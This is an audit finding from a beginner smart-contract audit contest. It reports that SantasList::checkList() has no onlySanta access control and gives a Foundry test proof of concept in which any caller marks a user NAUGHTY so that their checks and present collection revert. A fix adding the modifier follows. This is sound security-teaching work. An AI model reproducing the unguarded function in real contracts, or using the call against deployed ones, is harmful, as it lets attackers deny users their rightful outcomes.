First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

SantasList::checkList() is vulnerable to DoS attacks

y0ng0p3

Summary

SantasList::checkList() is vulnerable to DoS attacks due to a lack of access control. onlySanta modifier is missing on this function.

Vulnerability Details

SantasList::checkTwice and SantasList::collectPresent expect SantasList::s_theListCheckedOnce and SantasList::s_theListCheckedTwice to have the same value for a given user.

File: src/SantasList.sol
​
133: function checkTwice(address person, Status status) external onlySanta {
if (s_theListCheckedOnce[person] != status) {
​
154: if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) {
​
157: } else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {

Futhermore a malicious user can DoS anyone by calling SantasList::checkList() with the desired status (NAUGHTY). This prevents the DoSed user from being checked twice and collect present, even this user is in fact NICE or EXTRA_NICE.

Proof of Concept

Place the code for the following test functions in test/unit/SantasListTest.t.sol.

function test_CheckTwice_DoS() public {
address maliciousUser = makeAddr("malicious_user");
vm.prank(maliciousUser);
santasList.checkList(user, SantasList.Status.NAUGHTY);
​
vm.startPrank(santa);
vm.expectRevert();
santasList.checkTwice(user, SantasList.Status.NICE);
vm.stopPrank();
}
​
function test_CollectPresent_DoS() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.NICE);
santasList.checkTwice(user, SantasList.Status.NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
address maliciousUser = makeAddr("malicious_user");
vm.prank(maliciousUser);
santasList.checkList(user, SantasList.Status.NAUGHTY);
​
vm.startPrank(user);
vm.expectRevert();
santasList.collectPresent();
vm.stopPrank();
}

In the terminal, run the following commands:

  • forge test --mt test_CheckTwice_DoS

  • forge test --mt test_CollectPresent_DoS

Impact

SantasList::checkTwice() and SantasList::collectPresent() can be made to always revert.

Tools Used

Manual review, Foundry

Recommendations

Add the onlySanta modifier to SantasList::checkList()

File: src/SantasList.sol
​
- function checkList(address person, Status status) external {
+ function checkList(address person, Status status) external onlySanta {
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

Access Control on checkList()

Anyone is able to call checkList() changing the status of a provided address. This is not intended functionality and is meant to be callable by only Santa.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!